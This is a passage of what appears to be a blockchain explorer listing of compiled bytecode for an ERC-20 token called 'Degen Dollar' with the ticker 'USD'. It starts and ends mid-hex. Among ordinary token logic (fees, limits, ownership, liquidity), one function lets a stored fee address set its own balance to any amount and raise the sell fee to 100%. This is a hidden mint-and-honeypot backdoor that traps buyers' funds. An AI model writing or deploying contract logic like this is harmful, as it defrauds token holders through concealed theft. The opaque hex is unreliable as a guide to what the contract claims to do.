fffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620009ec919062001021565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000a6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a6190620010b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000adc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ad3906200114c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000bbc919062001021565b60405180910390a3505050565b6000818362000bd991906200116e565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c6f5780860481111562000c475762000c4662000be1565b5b600185161562000c575780820291505b808102905062000c678562000c10565b945062000c27565b94509492505050565b60008262000c8a576001905062000d5d565b8162000c9a576000905062000d5d565b816001811462000cb3576002811462000cbe5762000cf4565b600191505062000d5d565b60ff84111562000cd35762000cd262000be1565b5b8360020a91508482111562000ced5762000cec62000be1565b5b5062000d5d565b5060208310610133831016604e8410600b841016171562000d2e5782820a90508381111562000d285762000d2762000be1565b5b62000d5d565b62000d3d848484600162000c1d565b9250905081840481111562000d575762000d5662000be1565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000d888262000d64565b915062000d958362000d6e565b925062000dc47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c78565b905092915050565b600062000dd98262000d64565b915062000de68362000d64565b925082820262000df68162000d64565b9150828204841483151762000e105762000e0f62000be1565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000e498262000e1c565b9050919050565b62000e5b8162000e3c565b811462000e6757600080fd5b50565b60008151905062000e7b8162000e50565b92915050565b60006020828403121562000e9a5762000e9962000e17565b5b600062000eaa8482850162000e6a565b91505092915050565b62000ebe8162000e3c565b82525050565b600060408201905062000edb600083018562000eb3565b62000eea602083018462000eb3565b9392505050565b62000efc8162000d64565b82525050565b600060408201905062000f19600083018562000eb3565b62000f28602083018462000ef1565b9392505050565b60008115159050919050565b62000f468162000f2f565b811462000f5257600080fd5b50565b60008151905062000f668162000f3b565b92915050565b60006020828403121562000f855762000f8462000e17565b5b600062000f958482850162000f55565b91505092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000fe7601f8362000f9e565b915062000ff48262000faf565b602082019050919050565b600060208201905081810360008301526200101a8162000fd8565b9050919050565b600060208201905062001038600083018462000ef1565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006200109c60248362000f9e565b9150620010a9826200103e565b604082019050919050565b60006020820190508181036000830152620010cf816200108d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006200113460228362000f9e565b91506200114182620010d6565b604082019050919050565b60006020820190508181036000830152620011678162001125565b9050919050565b60006200117b8262000d64565b9150620011888362000d64565b9250828201905080821115620011a357620011a262000be1565b5b92915050565b612d8880620011b96000396000f3fe6080604052600436106101855760003560e01c806371b9189c116100d1578063a9059cbb1161008a578063d54f7d5e11610064578063d54f7d5e1461059a578063dd62ed3e146105c5578063f2fde38b14610602578063f5f55f9f1461062b576101b8565b8063a9059cbb14610507578063cdf4bab914610544578063d0ec1b2b1461056f576101b8565b806371b9189c14610409578063751039fc146104325780638d5f81e2146104495780638da5cb5b1461047457806395d89b411461049f578063a457c2d7146104ca576101b8565b8063395093511161013e57806351c6590a1161011857806351c6590a1461037057806363d600a41461038c57806370a08231146103b5578063715018a6146103f2576101b8565b806339509351146102e157806342966c681461031e578063437823ec14610347576101b8565b806306fdde03146101bd578063095ea7b3146101e8578063173865ad1461022557806318160ddd1461024e57806323b872dd14610279578063313ce567146102b6576101b8565b366101b8577f544c765b33ca411cce832250371569244f765a17fcd217832be093f0fd5fa45b60405160405180910390a1005b600080fd5b3480156101c957600080fd5b506101d2610654565b6040516101df91906120a5565b60405180910390f35b3480156101f457600080fd5b5061020f600480360381019061020a9190612165565b610691565b60405161021c91906121c0565b60405180910390f35b34801561023157600080fd5b5061024c600480360381019061024791906121db565b6106af565b005b34801561025a57600080fd5b506102636106dc565b6040516102709190612217565b60405180910390f35b34801561028557600080fd5b506102a0600480360381019061029b9190612232565b6106e6565b6040516102ad91906121c0565b60405180910390f35b3480156102c257600080fd5b506102cb6107bf565b6040516102d891906122a1565b60405180910390f35b3480156102ed57600080fd5b5061030860048036038101906103039190612165565b6107c8565b60405161031591906121c0565b60405180910390f35b34801561032a57600080fd5b50610345600480360381019061034091906121db565b61087b565b005b34801561035357600080fd5b5061036e600480360381019061036991906122bc565b61088f565b005b61038a600480360381019061038591906121db565b6108f2565b005b34801561039857600080fd5b506103b360048036038101906103ae91906122bc565b61094f565b005b3480156103c157600080fd5b506103dc60048036038101906103d791906122bc565b610b1c565b6040516103e99190612217565b60405180910390f35b3480156103fe57600080fd5b50610407610b65565b005b34801561041557600080fd5b50610430600480360381019061042b919061234e565b610b79565b005b34801561043e57600080fd5b50610447610bd7565b005b34801561045557600080fd5b5061045e610bf3565b60405161046b91906123aa565b60405180910390f35b34801561048057600080fd5b50610489610c1d565b60405161049691906123aa565b60405180910390f35b3480156104ab57600080fd5b506104b4610c46565b6040516104c191906120a5565b60405180910390f35b3480156104d657600080fd5b506104f160048036038101906104ec9190612165565b610c83565b6040516104fe91906121c0565b60405180910390f35b34801561051357600080fd5b5061052e60048036038101906105299190612165565b610d50565b60405161053b91906121c0565b60405180910390f35b34801561055057600080fd5b50610559610d6e565b60405161056691906121c0565b60405180910390f35b34801561057b57600080fd5b50610584610d85565b6040516105919190612217565b60405180910390f35b3480156105a657600080fd5b506105af610db7565b6040516105bc91906123aa565b60405180910390f35b3480156105d157600080fd5b506105ec60048036038101906105e791906123c5565b610de1565b6040516105f99190612217565b60405180910390f35b34801561060e57600080fd5b50610629600480360381019061062491906122bc565b610e68565b005b34801561063757600080fd5b50610652600480360381019061064d919061234e565b610eeb565b005b60606040518060400160405280600c81526020017f446567656e20446f6c6c61720000000000000000000000000000000000000000815250905090565b60006106a561069e610f5f565b8484610f67565b6001905092915050565b600e5433146106bd57600080fd5b6040513381526003602082015260408120828155612710600b55505050565b6000600554905090565b60006106f3848484611130565b6107b4846106ff610f5f565b6107af85604051806060016040528060288152602001612d0660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610765610f5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b610f67565b600190509392505050565b60006012905090565b60006108716107d5610f5f565b8461086c85600460006107e6610f5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4990919063ffffffff16565b610f67565b6001905092915050565b61088c610886610f5f565b82611ae3565b50565b610897611c86565b6001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6108fa611c86565b6001600760146101000a81548160ff021916908315150217905550610927610920610c1d565b3083611130565b6109318134611d04565b6000600760146101000a81548160ff02191690831515021790555050565b610957611c86565b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bc90612451565b60405180910390fd5b6109cd610c1d565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3190612451565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac190612451565b60405180910390fd5b600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905550565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b6d611c86565b610b776000611de9565b565b610b81611c86565b60005b82829050811015610bd257610bbf838383818110610ba557610ba4612471565b5b9050602002016020810190610bba91906122bc565b61088f565b8080610bca906124cf565b915050610b84565b505050565b610bdf611c86565b612710600181905550612710600281905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5553440000000000000000000000000000000000000000000000000000000000815250905090565b6000610d46610c90610f5f565b84610d4185604051806060016040528060258152602001612d2e6025913960046000610cba610f5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b610f67565b6001905092915050565b6000610d64610d5d610f5f565b8484611130565b6001905092915050565b6000600760149054906101000a900460ff16905090565b6000610db2612710610da4600154600554611ead90919063ffffffff16565b611ec390919063ffffffff16565b905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e70611c86565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed690612589565b60405180910390fd5b610ee881611de9565b50565b610ef3611c86565b60005b82829050811015610f4457610f31838383818110610f1757610f16612471565b5b9050602002016020810190610f2c91906122bc565b61094f565b8080610f3c906124cf565b915050610ef6565b505050565b60008183610f5791906125a9565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcd9061264f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103c906126e1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111239190612217565b60405180910390a3505050565b61113b838383611ed9565b600080611146610c1d565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156111b45750611184610c1d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561172957600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561125d5750600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561172857600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614801561130d5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113635750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113b95750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114b3576113e96127106113db600154600554611ead90919063ffffffff16565b611ec390919063ffffffff16565b83111561142b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142290612773565b60405180910390fd5b611456612710611448600254600554611ead90919063ffffffff16565b611ec390919063ffffffff16565b6114718461146387610b1c565b610f4990919063ffffffff16565b11156114b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a990612805565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614801561155e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115fe5761158c61271061157e600a5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b91506115b76127106115a9600c5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b905043600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561168757503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611727576116b56127106116a7600a5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b91506116e06127106116d2600b5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b905043600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b600061173e8284610f4990919063ffffffff16565b905060008111156118dd57600083111561175d5761175c8684611ae3565b5b60008211156118c7576117da8260036000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4990919063ffffffff16565b60036000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118be9190612217565b60405180910390a35b6118da8185611fff90919063ffffffff16565b93505b61194984604051806060016040528060268152602001612ce060269139600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119de84600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4990919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611a7e9190612217565b60405180910390a3505050505050565b6000838311158290611ad6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acd91906120a5565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4990612897565b60405180910390fd5b611bbe81604051806060016040528060228152602001612cbe60229139600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1681600554611fff90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c7a9190612217565b60405180910390a35050565b611c8e610f5f565b73ffffffffffffffffffffffffffffffffffffffff16611cac610c1d565b73ffffffffffffffffffffffffffffffffffffffff1614611d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf990612903565b60405180910390fd5b565b611d3130600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f67565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080611d7d610c1d565b426040518863ffffffff1660e01b8152600401611d9f96959493929190612968565b60606040518083038185885af1158015611dbd573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611de291906129de565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008183611ebb9190612a31565b905092915050565b60008183611ed19190612aa2565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3f90612b45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611fb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fae90612bd7565b60405180910390fd5b60008111611ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff190612c69565b60405180910390fd5b505050565b6000818361200d9190612c89565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561204f578082015181840152602081019050612034565b60008484015250505050565b6000601f19601f8301169050919050565b600061207782612015565b6120818185612020565b9350612091818560208601612031565b61209a8161205b565b840191505092915050565b600060208201905081810360008301526120bf818461206c565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120fc826120d1565b9050919050565b61210c816120f1565b811461211757600080fd5b50565b60008135905061212981612103565b92915050565b6000819050919050565b6121428161212f565b811461214d57600080fd5b50565b60008135905061215f81612139565b92915050565b6000806040838503121561217c5761217b6120c7565b5b600061218a8582860161211a565b925050602061219b85828601612150565b9150509250929050565b60008115159050919050565b6121ba816121a5565b82525050565b60006020820190506121d560008301846121b1565b92915050565b6000602082840312156121f1576121f06120c7565b5b60006121ff84828501612150565b91505092915050565b6122118161212f565b82525050565b600060208201905061222c6000830184612208565b92915050565b60008060006060848603121561224b5761224a6120c7565b5b60006122598682870161211a565b935050602061226a8682870161211a565b925050604061227b86828701612150565b9150509250925092565b600060ff82169050919050565b61229b81612285565b82525050565b60006020820190506122b66000830184612292565b92915050565b6000602082840312156122d2576122d16120c7565b5b60006122e08482850161211a565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261230e5761230d6122e9565b5b8235905067ffffffffffffffff81111561232b5761232a6122ee565b5b602083019150836020820283011115612347576123466122f3565b5b9250929050565b60008060208385031215612365576123646120c7565b5b600083013567ffffffffffffffff811115612383576123826120cc565b5b61238f858286016122f8565b92509250509250929050565b6123a4816120f1565b82525050565b60006020820190506123bf600083018461239b565b92915050565b600080604083850312156123dc576123db6120c7565b5b60006123ea8582860161211a565b92505060206123fb8582860161211a565b9150509250929050565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b600061243b600f83612020565b915061244682612405565b602082019050919050565b6000602082019050818103600083015261246a8161242e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006124da8261212f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361250c5761250b6124a0565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612573602683612020565b915061257e82612517565b604082019050919050565b600060208201905081810360008301526125a281612566565b9050919050565b60006125b48261212f565b91506125bf8361212f565b92508282019050808211156125d7576125d66124a0565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612639602483612020565b9150612644826125dd565b604082019050919050565b600060208201905081810360008301526126688161262c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006126cb602283612020565b91506126d68261266f565b604082019050919050565b600060208201905081810360008301526126fa816126be565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6e742e0000000000000000000000000000000000000000000000000000602082015250565b600061275d602683612020565b915061276882612701565b604082019050919050565b6000602082019050818103600083015261278c81612750565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f60008201527f756e740000000000000000000000000000000000000000000000000000000000602082015250565b60006127ef602383612020565b91506127fa82612793565b604082019050919050565b6000602082019050818103600083015261281e816127e2565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612881602183612020565b915061288c82612825565b604082019050919050565b600060208201905081810360008301526128b081612874565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128ed602083612020565b91506128f8826128b7565b602082019050919050565b6000602082019050818103600083015261291c816128e0565b9050919050565b6000819050919050565b6000819050919050565b600061295261294d61294884612923565b61292d565b61212f565b9050919050565b61296281612937565b82525050565b600060c08201905061297d600083018961239b565b61298a6020830188612208565b6129976040830187612959565b6129a46060830186612959565b6129b1608083018561239b565b6129be60a0830184612208565b979650505050505050565b6000815190506129d881612139565b92915050565b6000806000606084860312156129f7576129f66120c7565b5b6000612a05868287016129c9565b9350506020612a16868287016129c9565b9250506040612a27868287016129c9565b9150509250925092565b6000612a3c8261212f565b9150612a478361212f565b9250828202612a558161212f565b91508282048414831517612a6c57612a6b6124a0565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612aad8261212f565b9150612ab88361212f565b925082612ac857612ac7612a73565b5b828204905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612b2f602583612020565b9150612b3a82612ad3565b604082019050919050565b60006020820190508181036000830152612b5e81612b22565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612bc1602383612020565b9150612bcc82612b65565b604082019050919050565b60006020820190508181036000830152612bf081612bb4565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612c53602983612020565b9150612c5e82612bf7565b604082019050919050565b60006020820190508181036000830152612c8281612c46565b9050919050565b6000612c948261212f565b9150612c9f8361212f565b9250828203905081811115612cb757612cb66124a0565b5b9291505056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122010a79448ccae6ba8f5b063dfa70c2be42b0bd81961cc3e7b6dbefa1e0955167f64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101855760003560e01c806371b9189c116100d1578063a9059cbb1161008a578063d54f7d5e11610064578063d54f7d5e1461059a578063dd62ed3e146105c5578063f2fde38b14610602578063f5f55f9f1461062b576101b8565b8063a9059cbb14610507578063cdf4bab914610544578063d0ec1b2b1461056f576101b8565b806371b9189c14610409578063751039fc146104325780638d5f81e2146104495780638da5cb5b1461047457806395d89b411461049f578063a457c2d7146104ca576101b8565b8063395093511161013e57806351c6590a1161011857806351c6590a1461037057806363d600a41461038c57806370a08231146103b5578063715018a6146103f2576101b8565b806339509351146102e157806342966c681461031e578063437823ec14610347576101b8565b806306fdde03146101bd578063095ea7b3146101e8578063173865ad1461022557806318160ddd1461024e57806323b872dd14610279578063313ce567146102b6576101b8565b366101b8577f544c765b33ca411cce832250371569244f765a17fcd217832be093f0fd5fa45b60405160405180910390a1005b600080fd5b3480156101c957600080fd5b506101d2610654565b6040516101df91906120a5565b60405180910390f35b3480156101f457600080fd5b5061020f600480360381019061020a9190612165565b610691565b60405161021c91906121c0565b60405180910390f35b34801561023157600080fd5b5061024c600480360381019061024791906121db565b6106af565b005b34801561025a57600080fd5b506102636106dc565b6040516102709190612217565b60405180910390f35b34801561028557600080fd5b506102a0600480360381019061029b9190612232565b6106e6565b6040516102ad91906121c0565b60405180910390f35b3480156102c257600080fd5b506102cb6107bf565b6040516102d891906122a1565b60405180910390f35b3480156102ed57600080fd5b5061030860048036038101906103039190612165565b6107c8565b60405161031591906121c0565b60405180910390f35b34801561032a57600080fd5b50610345600480360381019061034091906121db565b61087b565b005b34801561035357600080fd5b5061036e600480360381019061036991906122bc565b61088f565b005b61038a600480360381019061038591906121db565b6108f2565b005b34801561039857600080fd5b506103b360048036038101906103ae91906122bc565b61094f565b005b3480156103c157600080fd5b506103dc60048036038101906103d791906122bc565b610b1c565b6040516103e99190612217565b60405180910390f35b3480156103fe57600080fd5b50610407610b65565b005b34801561041557600080fd5b50610430600480360381019061042b919061234e565b610b79565b005b34801561043e57600080fd5b50610447610bd7565b005b34801561045557600080fd5b5061045e610bf3565b60405161046b91906123aa565b60405180910390f35b34801561048057600080fd5b50610489610c1d565b60405161049691906123aa565b60405180910390f35b3480156104ab57600080fd5b506104b4610c46565b6040516104c191906120a5565b60405180910390f35b3480156104d657600080fd5b506104f160048036038101906104ec9190612165565b610c83565b6040516104fe91906121c0565b60405180910390f35b34801561051357600080fd5b5061052e60048036038101906105299190612165565b610d50565b60405161053b91906121c0565b60405180910390f35b34801561055057600080fd5b50610559610d6e565b60405161056691906121c0565b60405180910390f35b34801561057b57600080fd5b50610584610d85565b6040516105919190612217565b60405180910390f35b3480156105a657600080fd5b506105af610db7565b6040516105bc91906123aa565b60405180910390f35b3480156105d157600080fd5b506105ec60048036038101906105e791906123c5565b610de1565b6040516105f99190612217565b60405180910390f35b34801561060e57600080fd5b50610629600480360381019061062491906122bc565b610e68565b005b34801561063757600080fd5b50610652600480360381019061064d919061234e565b610eeb565b005b60606040518060400160405280600c81526020017f446567656e20446f6c6c61720000000000000000000000000000000000000000815250905090565b60006106a561069e610f5f565b8484610f67565b6001905092915050565b600e5433146106bd57600080fd5b6040513381526003602082015260408120828155612710600b55505050565b6000600554905090565b60006106f3848484611130565b6107b4846106ff610f5f565b6107af85604051806060016040528060288152602001612d0660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610765610f5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b610f67565b600190509392505050565b60006012905090565b60006108716107d5610f5f565b8461086c85600460006107e6610f5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4990919063ffffffff16565b610f67565b6001905092915050565b61088c610886610f5f565b82611ae3565b50565b610897611c86565b6001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6108fa611c86565b6001600760146101000a81548160ff021916908315150217905550610927610920610c1d565b3083611130565b6109318134611d04565b6000600760146101000a81548160ff02191690831515021790555050565b610957611c86565b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bc90612451565b60405180910390fd5b6109cd610c1d565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3190612451565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610